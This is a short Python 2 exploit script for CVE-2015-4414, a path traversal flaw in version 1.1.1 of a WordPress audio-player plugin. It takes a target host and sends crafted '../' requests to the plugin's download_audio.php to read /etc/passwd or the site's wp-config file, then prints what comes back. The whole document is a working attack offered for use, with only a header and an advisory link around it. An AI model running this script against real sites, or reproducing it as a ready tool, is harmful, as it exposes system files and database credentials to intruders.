se-album-exp.py

#!/usr/bin/python
# Larry W. Cashdollar @_larry0
# CVE-2015-4414
# Exploit for Path Traversal vulnerability in Wordpress plugin se-html5-album-audio-player v1.1.1
# http://www.vapidlabs.com/advisory.php?v=124
# 6/6/2015

import urllib2
import sys
arg = str(sys.argv[1])
opt = int(sys.argv[2])
debug = 0
print "####################################################################################################"
print "#                               Exploit for se-html5-album Path Traversal                          #"
print "#                               6/10/2015 @_larry0 CVE-2015-4414                                   #"
print "####################################################################################################"
print "# [Payloads]                                                                                       #"
print "# 1. /etc/passwd                                                                                   #"
print "# 2. /etc/wordpress/wp-config.php                                                                  #"
print "# usage ./explot.py target payload_number                                                          #"
print "####################################################################################################"

print "Targeting Site:", arg
if opt == 1:
	var1 = "http://" + arg + '/wp-content/plugins/se-html5-album-audio-player/download_audio.php?file=/wp-content/uploads/../../../../../etc/passwd'
	print "First payload download /etc/passwd:\n", var1
	response = urllib2.urlopen(var1)
	if debug == 1:
		print response.info()
	print response.read()
	response.close()  
if opt == 2:
	var2 = "http://" + arg + '/wp-content/plugins/se-html5-album-audio-player/download_audio.php?file=/wp-content/uploads/../../../../../etc/wordpress/config-' + arg + '.php'
	print "Second payload download Wp Config\n", var2
	response = urllib2.urlopen(var2)
	if debug == 1:
		print response.info()
	print response.read()
	response.close()